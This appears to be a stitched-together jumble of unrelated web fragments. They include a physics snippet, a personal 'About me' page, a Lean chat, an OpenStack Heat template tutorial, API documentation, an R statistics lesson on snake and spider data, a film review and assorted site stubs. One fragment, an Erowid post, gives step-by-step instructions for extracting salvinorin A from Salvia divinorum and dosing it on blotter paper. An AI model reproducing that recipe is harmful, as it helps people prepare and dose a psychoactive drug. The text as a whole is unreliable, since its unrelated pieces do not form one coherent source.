second term of can be dropped. This approximation is called the slow
sound approximation in the literature[6,7]. Numerical
results indicate this approximation will remove all the sound continua while
keeping the Alfven continua nearly unchanged.
yj
2015-09-04


The Custom Artifact resource that you requested could not be retrieved,
please make sure the link that you followed here is correct, or take this
chance to create the resource you need.
please make sure the link that you followed here is correct, or take this
chance to create the resource you need.


--- layout: page title: "About me" description: "" group: en --- {% include JB/setup %}
My name is Lubomír Čuhel. I'm 24 year old IT student living in Prague and this is my personal blog and resume. My life is made of three parts: School - Czech technical university in Prague, faluty of IT, Work - Web development and Baseball - player, team captain, board member and coach at Tempo Titans Prague.
I'm student at Czech technical university in Prague, faluty of IT. That is one of best technical universities in Europe for sure (see the ranking). I study Bachelor programme with specialization Web and Multimedia.
I'm currently working on my privat and faculty projects. My last employer from comercial sector was 3sixty s.r.o.
I'm left-handed reliefer and firstbaseman currently playing Extraleague (top league in Czech) for Tempo Titans Prague. I joined Tempo organization in 2001 and since that time I've earned a lot of responsibilities and functions in the club. I began coaching baseball in 2007 and I was elected a club board member two years later. I was elected a team captain two years ago and granted promotion to the Extraleague last fall. For more details check my baseball resume.


--- layout: archive title: Zulip Chat Archive permalink: /stream/113489-new-members/topic/unnecessary.20axioms.html ---
it seems that nat.lt_of_sub_pos
in mathlib can simply call nat.add_lt_of_lt_sub_left
to avoid use of classical.choice
(deleted)
If you care about avoiding choice you can open a PR.
Mathlib has become a classical library for the most part
But he can still open a PR if he cares, right? Certainly I won't fix this because I don't care using choice, but that modification doesn't sound like it would make mathlib more difficult to use.
Not worry much about that... just want to follow https://arxiv.org/abs/1904.09193 with Lean (and avoid classical reasoning at this time)
You can just use your own version of lt_of_sub_pos
if you want it in your local proof
if it has ended up deeply embedded as a result of, say, the proof that int
is a ring, then you will need to PR to fix that
Last updated: Apr 24 2020 at 19:02 UTC


How to make 'Blotter Salvia' by The_Stalker
This is simply a method of preparation so that you get all the benefit of salvia without need for a bong or tasting horrible smoke. This method is nearly tasteless, and produces a smooth trip.
You need:
5 grams Salvia Divinorum dry unextracted
100 ml of solvent (more on solvent choice below)
900ml water
Jar or 1 liter flask
Bowl
Funnel
Coffee grinder or Mortar and Pestle
Filter Paper or Coffee Filter
Tea strainer or fine mesh sieve
1. Powder 5grams of dry Salvia Divinorum leaves. A coffee grinder will work if it is the type with a small bowl and a spinning blade. A mortar and pestle is best though.
2. In the jar or flask, combine powdered Salvia with solvent. (A note on solvents; any polar solvent will work but for this extraction an alcohol is best, either 151 proof Everclear or 70% Isopropyl Alcohol [rubbing alcohol].)
3. Let this mixture sit for 10 hours.
4. Add your water to the flask or jar. Adding water to the alcohol lowers the solubility of the active ingredient Salivorin A to the point that it will fall out or ?precipitate?. This will make your 1-liter solution look slightly cloudy; it is the clouds that you want. Let sit for 5 minutes.
5. Set up your funnel with filter paper over the bowl. Get your tea strainer above the funnel.
6. Pour the solution from the flask, through the strainer and filter into the bowl. Do it slowly, don?t let the liquid get more than half way up the paper.
7. Wash out your flask or jar with more water to get any residue on the bottom, again pour it through the filters.
8. Discard the liquid and save the paper. You should notice a nice round area on your paper that looks slightly green or yellow.
9. Dry your paper in an oven; 2 minutes on 300 degrees work fine. It will now look as though you have crystals on your paper and indeed you do.
Cut this circular green are into five equal pieces, each one is good for a nice oral trip or maybe two smoked. To use simply take one of your strip and place it under the tongue, the effects can be felt in about fifteen minutes. A strip may also be smoked for more immediate effects.
The advantages of this method are that there is no harsh smoke, and no bitter taste.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


Social Sci-Fi
The awareness of the human race
They are works that explore possible scenarios for the future or past of humanity, focusing on different types of societies. They place special emphasis on individual freedoms, class struggle, ethics and social conflicts.
The main function of social science fiction is to create awareness of where the world we inhabit is going. Although the author's objective is not moralistic in principle, the development of the themes and the way they are narrated are. Within this subgenre we are going to find three basic formats of telling these stories.


UKCloud Limited (“UKC”) and Virtual Infrastructure Group Limited (“VIG”) (together “the Companies”) – in Compulsory Liquidation
On 25 October 2022, the Companies were placed into Liquidation with the Official Receiver appointed as Liquidator and J Robinson and A M Hudson simultaneously appointed as Special Managers to manage the liquidation process on behalf of the Official Receiver.
Further information regarding the Liquidations can be found here: https://www.gov.uk/government/news/virtual-infrastructure-group-limited-and-ukcloud-limited-information-for-creditors-and-interested-parties
Contact details:
For any general queries relating to the Liquidations please email<EMAIL_ADDRESS>For customer related queries please email<EMAIL_ADDRESS>For supplier related queries please email<EMAIL_ADDRESS>How to create and deploy a basic Heat template
Overview
This article provides a basic Heat Orchestration template that creates a Heat stack.
This template will create the following and connect them up:
A network
A static IP
A router
An instance
A floating IP
A volume
The Heat template
Note
The template must be in yaml format and be saved with the .yaml file extension. You should also make sure that you use the correct indentation.
heat_template_version: 2016-10-14
parameters:
flavor:
type: string
description: I am using the smallest flavor available because i'll be spinning up a cirros instance. You can use an environment file to override the defaults.
default: t1.tiny
constraints:
- custom_constraint: nova.flavor
image:
type: string
description: This uses a cirros image but you can create an environment file to change the default values.
default: cirros
constraints:
- custom_constraint: glance.image
heat_volume_size:
type: number
label: Volume Size (GB)
description: External Volume Size in GB
default: 1
resources:
heat_volume:
type: OS::Cinder::Volume
properties:
size: { get_param: heat_volume_size }
heat_volume_attachment:
type: OS::Cinder::VolumeAttachment
properties:
volume_id: { get_resource: heat_volume }
instance_uuid: { get_resource: heat_server }
heat_network:
type: OS::Neutron::Net
properties:
admin_state_up: true
name: heat_network
heat_network_subnet:
type: OS::Neutron::Subnet
properties:
network: { get_resource: heat_network }
cidr: "<IP_ADDRESS>/24"
dns_nameservers: ["<IP_ADDRESS>"]
gateway_ip: "<IP_ADDRESS>"
ip_version: 4
heat_router:
type: OS::Neutron::Router
properties:
external_gateway_info: { network: internet }
name: heat_router
heat_router_interface:
type: OS::Neutron::RouterInterface
properties:
router_id: { get_resource: heat_router }
subnet: { get_resource: heat_network_subnet }
heat_server_port:
type: OS::Neutron::Port
properties:
network: { get_resource: heat_network }
fixed_ips:
- subnet_id: { get_resource: heat_network_subnet }
heat_server:
type: OS::Nova::Server
properties:
name: heat_server
flavor: { get_param: flavor }
image: { get_param: image }
networks:
- port: { get_resource: heat_server_port}
heat_server_public_ip:
type: OS::Neutron::FloatingIP
properties:
floating_network: "internet"
heat_server_ip_assoc:
type: OS::Neutron::FloatingIPAssociation
properties:
floatingip_id: { get_resource: heat_server_public_ip }
port_id: { get_resource: heat_server_port }
outputs:
heat_server_public_ip:
description: IP Address of the deployed heat_server instance
value: { get_attr: [ heat_server_public_ip, floating_ip_address ]}
Deploying the stack
Note
You must source your RC file before you run the commands below.
Create a stack by running the following command in the OpenStack CLI:
openstack stack create -t <template name> <stack name>
For example, for the template above, run:
$ openstack stack create -t basic-stack.yaml basic-stack
This command will return the following:
+---------------------+--------------------------------------+
| Field | Value |
+---------------------+--------------------------------------+
| id | 6be269ec-d22f-4cf0-bf04-df71cc6dcf75 |
| stack_name | basic-stack |
| description | No description |
| creation_time | 2019-02-12T15:58:20Z |
| updated_time | None |
| stack_status | CREATE_IN_PROGRESS |
| stack_status_reason | Stack CREATE started |
+---------------------+--------------------------------------+
Next steps
This article demonstrated how to create a basic Heat template. You should now be able to create your own templates.
If you want to create a template from your existing environment, you can use a tool like Flame that converts an existing environment into a Heat template. For more information, see https://github.com/openstack/flame
The following document provides more options for configuring and creating Heat templates when using UKCloud for OpenStack:
Heat Orchestration Template (HOT) specification
Feedback
If you find a problem with this article, click Improve this Doc to make the change yourself or raise an issue in GitHub. If you have an idea for how we could improve any of our services, send an email to feedback@ukcloud.com.


|
||||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | |||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |
java.lang.Object java.util.ResourceBundle java.util.ListResourceBundle com.habelitz.core.StringResourceBundle com.habelitz.jsobjectizer.resource.resbundle.MarshallerMessages
public final class MarshallerMessages
This StringResourceBundle
defines all kind of strings and
messages used by the JSourceObjectizer's marshaller.
| Nested Class Summary |
|---|
| Nested classes/interfaces inherited from class java.util.ResourceBundle |
|---|
java.util.ResourceBundle.Control |
| Field Summary | |
|---|---|
static com.habelitz.core.StringResourceBundle |
MARSHALLER_MESSAGES
Public access to this StringResourceBundle 's resources. |
| Fields inherited from class java.util.ResourceBundle |
|---|
parent |
| Constructor Summary | |
|---|---|
MarshallerMessages()
|
| Method Summary | |
|---|---|
java.lang.Object[][] |
getContents()
Get the currently used ListResourceBundle key/object list. |
static java.lang.String |
getRewritingFailedMessage()
Returns a message for the cases where rewriting of a Java source has been failed. |
| Methods inherited from class com.habelitz.core.StringResourceBundle |
|---|
getResource, getResource, getResource, getResource |
| Methods inherited from class java.util.ListResourceBundle |
|---|
getKeys, handleGetObject, handleKeySet |
| Methods inherited from class java.util.ResourceBundle |
|---|
clearCache, clearCache, containsKey, getBundle, getBundle, getBundle, getBundle, getBundle, getBundle, getLocale, getObject, getString, getStringArray, keySet, setParent |
| Methods inherited from class java.lang.Object |
|---|
clone, equals, finalize, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait |
| Field Detail |
|---|
public static final com.habelitz.core.StringResourceBundle MARSHALLER_MESSAGES
StringResourceBundle
's resources.
Actually only one instance of this class is needed.
| Constructor Detail |
|---|
public MarshallerMessages()
| Method Detail |
|---|
public java.lang.Object[][] getContents()
getContents
in class java.util.ListResourceBundle
public static java.lang.String getRewritingFailedMessage()
|
||||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | |||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |


|
Simbody
3.5
|
Every Simbody header and source file should include this header before any other Simbody header. More...
Go to the source code of this file.
Namespaces | |
| SimTK | |
| This is the top-level SimTK namespace into which all SimTK names are placed to avoid collision with other symbols. | |
| SimTK::Exception | |
| This sub-namespace of SimTK is used for the exception types that are thrown by our error handing code. | |
Macros | |
| #define | SimTK_SIMBODY_EXPORT |
Typedefs | |
| typedef MobilizedBodyIndex | SimTK::MobodIndex |
| This is the approved abbeviation for MobilizedBodyIndex. Feel free to use it if you get tired of typing or seeing the full name. More... | |
Every Simbody header and source file should include this header before any other Simbody header.
| #define SimTK_SIMBODY_EXPORT |
| void SimTK_version_simbody | ( | int * | major, |
| int * | minor, | ||
| int * | build | ||
| ) |
| void SimTK_about_simbody | ( | const char * | key, |
| int | maxlen, | ||
| char * | value | ||
| ) |


Working with the data on gliding snakes’ undulation rates we will calculate the mean, median, range, interquartile range, variance, and standard deviation. We will also construct some plots in order to see a few things in action.
snakeData = read.csv(url("http://whitlockschluter.zoology.ubc.ca/wp-content/data/chapter03/chap03e1GlidingSnakes.csv"))
head(snakeData)
## snake undulationRateHz
## 1 1 0.9
## 2 2 1.2
## 3 3 1.2
## 4 4 1.3
## 5 5 1.4
## 6 6 1.4
Drawing a histogram of these data will allow us to see how undulation rates are distributed.
hist(snakeData$undulationRateHz, right = FALSE, las = 1, col = "gray", breaks = seq(0.8,2.2,by=0.2), xlab = "Undulation rate (Hz)", ylab = "Frequency", main = "Distribution of Undulation Rates (in Hz)", ylim=c(0,3))
The code below constructs a similar plot albeit with the ggplot2
package
library(ggplot2)
ggplot(snakeData, aes(undulationRateHz)) + geom_histogram(binwidth=0.2) + xlab("Undulation rate (Hz)")
## Calculating Central Tendency & Variability Calculating the mean, median, variance, and standard deviation is pretty straightforward:
mean(snakeData$undulationRate, na.rm=TRUE)
## [1] 1.375
median(snakeData$undulationRate, na.rm=TRUE)
## [1] 1.35
var(snakeData$undulationRate, na.rm=TRUE)
## [1] 0.105
sd(snakeData$undulationRate, na.rm=TRUE)
## [1] 0.324037
Note: If you have missing values in your data-set then you should run mean(snakeData$undulationRateHz, na.rm=TRUE)
etc. for all commands. As a matter of fact R has several commands that will not run unless you specify na.rm=TRUE
. Further, if we wanted to we could have named each estimate, for example, mean.ur = mean(snakeData$undulationRate)
and so on.
We have to be a bit careful when calculating the quartiles (\(Q_1\) and \(Q_3\)) and the interquartile range. This is because there are nine ways of calculating these in R. We will use type=5
in this class since that is what is used by Whitlock & Schluter. The relevant commands are shown below:
quantile(snakeData$undulationRateHz, probs=c(0.25, 0.75), type=5, na.rm=TRUE)
## 25% 75%
## 1.2 1.5
IQR(snakeData$undulationRateHz, type=5, na.rm=TRUE)
## [1] 0.3
Note: \(IQR = Q_3 - Q_1 = 1.5 - 1.2 = 0.3\) . Specifying probs=c(0.25, 0.75)
specifies that we want \(Q_1\) and \(Q_3\). If you wanted the median then you’d have to specify a probs value of 0.50
.
The Coefficient of Variation tells us something about how a variable is distributed about its mean. Given that it is a ratio, the higher is the coefficient of variation the more dispersed are the values of the variable. Why is it a useful measure if we have others to choose from? Because it is not influenced by the units of measurement. For example, if you are measuring heights in inches and calculate the variance and standard deviation, then convert height into centimeters and recompute the variance and standard deviation, the two sets of values will differ a good bit (see below):
height.in = c(65, 72, 77, 60, 58)
mean(height.in) # No missing values so na.rm=TRUE not specified
## [1] 66.4
sd(height.in) # No missing values so na.rm=TRUE not specified
## [1] 8.018728
height.cm = height.in * 2.54
mean(height.cm) # No missing values so na.rm=TRUE not specified
## [1] 168.656
sd(height.cm) # No missing values so na.rm=TRUE not specified
## [1] 20.36757
Now suddenly it seems as if there is more variability when height is measured in centimeters, but this is because of the units of measurement being used! If we now calculate the coefficient of variation for height in inches and then for height in centimeters we get identical estimates of how much variation there is in the heights of these individuals:
cov.in = (sd(height.in) / mean(height.in)) * 100
cov.in
## [1] 12.0764
cov.cm = (sd(height.cm) / mean(height.cm)) * 100
cov.cm
## [1] 12.0764
Now calculating the coefficient of variation for the gliding snakes data-set:
100 * sd(snakeData$undulationRate)/mean(snakeData$undulationRate)
## [1] 23.56633
For this exercise we’ll replicate the in-text example that uses the number of convictions data-set (see below):
convictionsFreq = read.csv(url("http://whitlockschluter.zoology.ubc.ca/wp-content/data/chapter03/chap03t1_2ConvictionsFreq.csv"))
head(convictionsFreq)
## convictions frequency
## 1 0 265
## 2 1 49
## 3 2 21
## 4 3 19
## 5 4 10
## 6 5 10
Notice the format of the data … it is given to us as a frequency table. Not a problem so long as we understand what we are looking at. In brief, 265 boys had no convictions, 49 had 1 conviction, and so on. We can expand the data into its long (or raw) form as shown below:
convictions = rep(convictionsFreq$convictions, convictionsFreq$frequency)
head(convictions)
## [1] 0 0 0 0 0 0
Now the calculations can commence:
mean(convictions, na.rm=TRUE)
## [1] 1.126582
median(convictions, na.rm=TRUE)
## [1] 0
sd(convictions, na.rm=TRUE)
## [1] 2.456562
var(convictions, na.rm=TRUE)
## [1] 6.034698
quantile(convictions, probs=c(0.25, 0.75), type=5, na.rm=TRUE)
## 25% 75%
## 0 1
IQR(convictions, type=5, na.rm=TRUE)
## [1] 1
( sd(convictions) / mean(convictions) ) * 100
## [1] 218.0544
tab.c = table(convictions); tab.c
## convictions
## 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14
## 265 49 21 19 10 10 2 2 4 2 1 4 3 1 2
barplot(tab.c, ylim=c(0,300), xlab="Number of Convictions", ylab="Frequency")
## The Speeds of Male Tidarren spiders (pre- and post-amputation)
spiderData = read.csv(url("http://whitlockschluter.zoology.ubc.ca/wp-content/data/chapter03/chap03e2SpiderAmputation.csv"))
head(spiderData)
## spider speed treatment
## 1 1 1.25 before
## 2 2 2.94 before
## 3 3 2.38 before
## 4 4 3.09 before
## 5 5 3.41 before
## 6 6 3.00 before
Note: The two variables of interest are speed
and treatment
. We can start by constructing histograms of speeds before and after amputation. We will then look at a different graphic … the boxplot
, an extremely useful plot because it conveys a lot of information very simply. First the histograms
library(lattice)
histogram(~ speed | treatment, data=spiderData, layout=c(1,2), type=c("count"))
Now the box-plots:
boxplot(speed ~ treatment, data=spiderData, horizontal=TRUE, ylab="Amputation Treatment", xlab="Speed (cm/s)", col="gray")
For each group the boxplot maps a few statistics. First, the dark line inside each box is the Median for the group. Clearly the median speed is higher for the post-amputation group than for the pre-amputation group. The edges of the gray boxes reflect the first and third quartiles for each group; \(Q_1\) is to the left of the Median and \(Q_3\) is to the right of the Median. The “whiskers” go out to the minimum and maximum values.
If a distribution is symmetric then the box should be equally wide either side of the Median and the whiskers should be of similar length on either side of the box. If you see the plot looking stretched out on one side then that tells us it is skewed towards this side. For instance, see the stretch to the right for the “after”" group; these data are positively skewed (aka skewed right). For the “before” group we see the stretch to the left; this group’s speeds are negatively skewed (i.e. skewed left).
We also see a lone dot at the lower extreme of the plot for the “before” group. This is an outlier … any data point that is smaller than \(Q_1 - (1.5 \times IQR)\) or larger than \(Q_3 + (1.5 \times IQR)\). An outlier is essentially an extremely unusual value.
We will now extract and save the before-amputation data using the subset
switch. We will then repeat this exercise for the after-amputation data.
speedBefore = subset(spiderData, treatment == "before")
speedBefore
## spider speed treatment
## 1 1 1.25 before
## 2 2 2.94 before
## 3 3 2.38 before
## 4 4 3.09 before
## 5 5 3.41 before
## 6 6 3.00 before
## 7 7 2.31 before
## 8 8 2.93 before
## 9 9 2.98 before
## 10 10 3.55 before
## 11 11 2.84 before
## 12 12 1.64 before
## 13 13 3.22 before
## 14 14 2.87 before
## 15 15 2.37 before
## 16 16 1.91 before
speedAfter = subset(spiderData, treatment == "after")
speedAfter
## spider speed treatment
## 17 1 2.40 after
## 18 2 3.50 after
## 19 3 4.49 after
## 20 4 3.17 after
## 21 5 5.26 after
## 22 6 3.22 after
## 23 7 2.32 after
## 24 8 3.31 after
## 25 9 3.70 after
## 26 10 4.70 after
## 27 11 4.94 after
## 28 12 5.06 after
## 29 13 3.22 after
## 30 14 3.52 after
## 31 15 5.45 after
## 32 16 3.40 after
Now we can calculate the mean, median, variance, standard deviation, quartiles, and the interquartile range for each group.
mean(speedBefore$speed, na.rm=TRUE); mean(speedAfter$speed, na.rm=TRUE)
## [1] 2.668125
## [1] 3.85375
median(speedBefore$speed, na.rm=TRUE); median(speedAfter$speed, na.rm=TRUE)
## [1] 2.9
## [1] 3.51
var(speedBefore$speed, na.rm=TRUE); var(speedAfter$speed, na.rm=TRUE)
## [1] 0.4115896
## [1] 0.9853183
sd(speedBefore$speed, na.rm=TRUE); sd(speedAfter$speed, na.rm=TRUE)
## [1] 0.6415525
## [1] 0.992632
quantile(speedBefore$speed, probs=c(0.25, 0.75), type=5, na.rm=TRUE)
## 25% 75%
## 2.340 3.045
quantile(speedAfter$speed, probs=c(0.25, 0.75), type=5, na.rm=TRUE)
## 25% 75%
## 3.22 4.82
IQR(speedBefore$speed, type=5, na.rm=TRUE)
## [1] 0.705
IQR(speedAfter$speed, type=5, na.rm=TRUE)
## [1] 1.6
Just for completeness’ sake, multiply the IQR of each group by 1.5
1.5 * IQR(speedBefore$speed, type=5, na.rm=TRUE)
## [1] 1.0575
1.5 * IQR(speedAfter$speed, type=5, na.rm=TRUE)
## [1] 2.4
Now subtract 1.0575 from \(Q_1\) of the “before” group
2.340 - 1.0575
## [1] 1.2825
This yields a value of \(1.2825\) … Spider 1 in the “before” group has a speed of \(1.25\) and hence is flagged as an outlier in the boxplot.
par(mfrow=c(1,2))
plot( ecdf(speedBefore$speed), verticals = TRUE,
las = 1, main = "", do.points = FALSE,
ylab = "Cumulative relative frequency",
xlab = "Running speed before amputation (cm/s)")
plot( ecdf(speedAfter$speed), verticals = TRUE,
las = 1, main = "", do.points = FALSE,
ylab = "Cumulative relative frequency",
xlab = "Running speed after amputation (cm/s)" )
dev.off()
## null device
## 1
par(mfrow=c(1,1))
You can pick any point on the vertical axis, connect a straight line to the plotted line, then drop a perpendicular to the x-axis … and you’ll be able to say “so-and-so proportion of the spider had speeds below the x-value”. Out of sheer curiosity, pick \(0.5\) on the vertical axis of both groups and draw the straight line to the plot. Now read the approximate running speed that would result if you dropped a perpendicular to the x-axis. What this says is that 50% of spiders in the before group had speeds of at most 2.9 while 50% of spiders in the after group had speeds of at most 3.51.
par(mfrow=c(1,2))
plot( ecdf(speedBefore$speed), verticals = TRUE,
las = 1, main = "", do.points = FALSE,
ylab = "Cumulative relative frequency",
xlab = "Running speed before amputation (cm/s)")
abline(h=0.5)
plot( ecdf(speedAfter$speed), verticals = TRUE,
las = 1, main = "", do.points = FALSE,
ylab = "Cumulative relative frequency",
xlab = "Running speed after amputation (cm/s)" )
abline(h=0.5)
dev.off()
## null device
## 1
par(mfrow=c(1,1))
You don’t have to pick the \(0.5\) point; you could have picked \(0.9\) and said “90% of spiders in group so-and-so had speeds of so much or less”, so on and so forth.
The psych
package (install it before you use it) is very handy here to calculate a number of statistics. We will see it in use with the data-set on sticklebacks:
sticklebackData = read.csv(url("http://whitlockschluter.zoology.ubc.ca/wp-content/data/chapter03/chap03e3SticklebackPlates.csv"))
head(sticklebackData)
## id plates genotype
## 1 4-1 11 mm
## 2 4-2 63 Mm
## 3 4-4 22 Mm
## 4 4-5 10 Mm
## 5 4-10 14 mm
## 6 4-12 11 mm
library(psych)
describeBy(sticklebackData$plates, group=sticklebackData$genotype, na.rm=TRUE)
## group: mm
## vars n mean sd median trimmed mad min max range skew kurtosis se
## 1 1 88 11.67 3.57 11 11.42 2.97 6 37 31 4.2 26.92 0.38
## --------------------------------------------------------
## group: Mm
## vars n mean sd median trimmed mad min max range skew kurtosis
## 1 1 174 50.38 15.15 59 52.52 7.41 10 68 58 -1.06 -0.18
## se
## 1 1.15
## --------------------------------------------------------
## group: MM
## vars n mean sd median trimmed mad min max range skew kurtosis se
## 1 1 82 62.78 3.41 63 63.21 1.48 42 69 27 -3.55 17.62 0.38
Histograms are easily drawn as well:
histogram(~ plates | genotype, data=sticklebackData, layout=c(1,3), type="count", xlab="Number of Plates", ylab="Frequency")
Again, in a very marked fashion the \(MM\) group has the most number of plates on average.
Constructing a table of frequencies and proportions of the stickleback genotypes is easy as well.
tab.s1 = table(sticklebackData$genotype, dnn = "genotype")
tab.s1
## genotype
## mm Mm MM
## 88 174 82
tab.s2 = addmargins(tab.s1)
tab.s2
## genotype
## mm Mm MM Sum
## 88 174 82 344
sticklebackFreq = data.frame(tab.s2)
sticklebackFreq
## genotype Freq
## 1 mm 88
## 2 Mm 174
## 3 MM 82
## 4 Sum 344
tab.sprop1 = prop.table(tab.s1)
tab.sprop1
## genotype
## mm Mm MM
## 0.2558140 0.5058140 0.2383721
tab.sprop2 = addmargins(tab.sprop1)
sticklebackRelFreq = data.frame(tab.sprop2)
sticklebackRelFreq
## genotype Freq
## 1 mm 0.2558140
## 2 Mm 0.5058140
## 3 MM 0.2383721
## 4 Sum 1.0000000


BEDAZZLED A film review by Steve Rhodes Copyright 2000 Steve Rhodes RATING (0 TO ****): *** 1/2
Director Harold Ramis (ANALYZE THIS and GROUNDHOG DAY) has remade the 1967 film BEDAZZLED, starring Dudley Moore, and, in short, it's a hoot. In fact it is so successfully funny and sweet that it almost makes you thankful for Hollywood's much maligned tendency to remake old films rather than risk creating completely new ones. Almost.
When we meet Elliot Richards (Brendan Fraser in another charmingly hilarious performance), he is the cubical clown. An obnoxious office worker, he is the type who causes his coworkers to hide when they see him coming.  He may have the sexual and romantic desires of an adult, but he has the social skills of the most unpopular kid in seventh grade.
Right now he is pining for Allison, preciously played by Frances O'Connor (MANSFIELD PARK), a woman who has the natural good looks of a shampoo model. Allison works for the same company that he does, and a few years ago he even said something to her about the weather when he saw her in the lobby. "Dear God, I would give anything to have that girl in my life," he says to himself after getting a polite brush off from her when he runs into her at a nightclub.
God doesn't answer, but the other side does, in the strikingly beautiful person of Elizabeth Hurley, as The Devil. Hurley is playful, witty, erotic, conniving and perfect as the Princess of Darkness. It is by far and away the best thing that she has ever done.
As you can guess, wishes become a dangerous thing for Elliot. The Devil, literally dumping a tome of a contract on him that only the IRS could love ("I, Elliot Richards, hereafter called The Damned, ..."), makes him a simple bargain. He can have any seven wishes he wants in return for his soul.
These seven wishes form seven wholly contained and wildly funny episodes. The interludes between wishes are equally humorous as The Devil wreaks small incidents of chaos and destruction on the populace as a way to pass the time until she collects Elliot's soul.
The Devil tries to explain to Elliot what a miserable job she has.  She delights in letting him hang himself by not specifying enough of the fine print on his wishes. When he asks to be married and rich, for example, he doesn't think to specify how faithful his wife will be or the origin of his newfound wealth.
The Devil and Elliot's costumes and makeup are more than worth the price of admission. When we first glimpse Beelzebub, she is in a killer of a tight fitting red dress with maximum cleavage. Other outfits include a meter maid in hot pants and a mini-skirted teacher that would be every high school boy's fantasy. Elliot's look ranges from that of a model for the cover of a bodice-ripper novel to the world's dumbest and largest jock. His various teeth alone are such a source of mirth that they should be worth some kind of special Oscar consideration.
The movie does a great job of getting all of the details right. Elliot's first wish, for example, is his simplest, but watch how much comedic gold they mine from the way The Devil even cons Elliot out of his own money.
Larry Gelbart, Harold Ramis and Peter Tolan's script, based on the 1967 version by Peter Cook and Dudley Moore, is full of great lines. It has Elliot, depending on his current wish, sounding pompously pretentious, idiotically inarticulate or saccharinely sentimental. ("Do you need comforting on any level?" a nerdy Elliot with little teeth and short curly, red hair inquires of Allison, which freaks her out. "Have I said or done anything to make you feel less good about you?")
Rather than becoming repetitive and eventually sagging, the comedy builds energy as it goes. It has more big laughs than I could count, with the Devil, who gets a bit less screen time, getting just as many as Elliot. Actually just the costumes and other visuals were enough for many of the laughs. The movie even finds a satisfying small twist to wrap it up. BEDAZZLED is a good-spirited comedy that entertains us every minute from the opening credits to the last scene. It's a real charmer.
BEDAZZLED runs a fast 1:33. The film is in English as well as Spanish and Russian with English subtitles. It is rated PG-13 for sex-related humor, language and some drug content and would be acceptable for kids around 11 and up.
Email<EMAIL_ADDRESS>Web: http://www.InternetReviews.com
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


Sherry Christmas!
The Christmas tree which displays polls
Who are we?
Tim Stallard
Matt Randell
Freddie Brown
Sailesh Patel
Demo (hopefully...)
SherryTheTree.com
Thanks Domain.com & AWS!
Front end
- HTML
- CSS
- JavaScript
- Handlebars used for templating
Server
- REST API
- Socket.io for live data
- MQTT for talking to tree
Hardware
- ESP8266
- Arduino libraries
- MQTT - PubSubClient
- LEDs - WS2812Bs
Made with love from....


| Theme Color Picker | |||||
|
For information about how to use this file to create a theme,
please see the Zmail Wiki.
Note: this file works best in Mozilla FireFox Each Zmail Theme is composed of three families of colors:
To pick these colors for your theme:1) Click in the appropriate "RGB Value" box below and either paste a color value or pick one from the gradient to the right. |
|||||
| AppC: | |||||
| AltC: | |||||
| SelC: | |||||
|
2) Then copy and paste the text below into your skin.properties file. |
|||||


{% extends "base.html" %} {% block navigation %}
Password change successful. Your password was changed.


Power: 1000W
Quantity:
Power: 1000W
Quantity:
Power: 1200W
Quantity:
Power: 600W
Quantity:
Power: 1200W
Quantity:
Power: 1000W
Quantity:
Power: 120W
Quantity:
Power: 100watts
Quantity:
Power: 2000W
Quantity:
Power: 120W
Quantity:
Power: 100watts
Quantity:
Power: 80W
Quantity:
Power: 50W
Quantity:
Power: 400watts
Quantity:
Power: 1200W
Quantity:


(a) Crystal structure diagram of Ba 13.35Al 30.7Si 5.3O 70. (b) XRD patterns of the typically prepared phosphors. The standard data for Ba 13.35Al 30.7Si 5.3O 70 are shown as references. (c) Powder X-ray diffraction refinement of Ba 12.95Al 30.7Si 5.3O 70:0.3Eu 2+,0.1Tm 3+.


Welcome to Adventure, based on the literate programming version. This game is implemented in JavaScript using the MITHGrid library as a demonstration of the data management parts of the library.
You can move around the game by clicking on the compass points. A little help is available with the “help” command. The “commands” command will list the available commands.
This game is under active development, so check back often to see what's new!
There are 0 verbs, 0 rooms, and 0 objects in the game database.


[gecode-users] Number of failed nodes
Lars Kotthoff
larsko at cs.st-andrews.ac.uk
Wed Jan 7 18:02:12 CET 2009
Hi all,
I was wondering what the number of failures output at the end of a run means.
The documentation says that it's the number of failed nodes in the search tree;
is that the nodes where the solver backtracks or all nodes visited which are not
part of a solution? Is there any way to get the total number of search tree
nodes visited during search?
Thanks,
Lars
More information about the gecode-users
mailing list


The mission of the Engineering Student Council is to represent the engineering student body; support engineering societies in reaching their full potential; and promote a diverse community through successful collaboration between students, faculty, societies, and the College of Engineering.
Community Support
Empowering our core community to explore diverse opporunities in engineering sciences.
Community Events
Hosting interactive speaker sessions, conferences, and activities to strengthen our networks and to encourage professional development.
Student Engagement
Empowering students to take active roles in spanning new directions of engineering, technology, and science.


ARTIK Cloud based Smart Parking System
Staff Parking
Near Main Cmapus
Receiving Data...
1
Student/Guest Parking
Front Gate, Near Union bank
Receiving Data...
Close connection to Parking System
Output Console


Sairee Beach
Koh Tao, Thailand
Sairee Beach
Koh Tao, Thailand
Sairee Beach
Koh Tao, Thailand
Featured Course
Featured Course
A Scuba Diving Resort, an SSI Diamond Instructor Training Center, a BSAC Center of Excellence and a 5 Star TDI Instructor Training Facility Big Blue Diving has a fantastic beachfront location to the northern more tranquil end of Sairee Beach.


Data Formatting
Pre-requisites: Intro to Spatial Data, Data Collection
Objectives:
- Understanding how to wrangle or prepare your data
- Recognize common methods to sptail data wrangling
Data Formatting
Data manipulation can be a simple endeavour if the data inputs come in the same or compatible formats. Data sources will usually have a specific format they use for their data which can make it easy to use work with their datasets. Unfortunately, when we gather data from various sources, we are usually given several different formats to data to deal with. Data wrangling is the process of manipulating and reformatting disparate data sources into compatible datasets. Data wrangling makes proper analysis/modeling possible. There are several methods common to spatial data wrangling some of which are:
- Reprojection - Conversion from one projection coordinate system to another
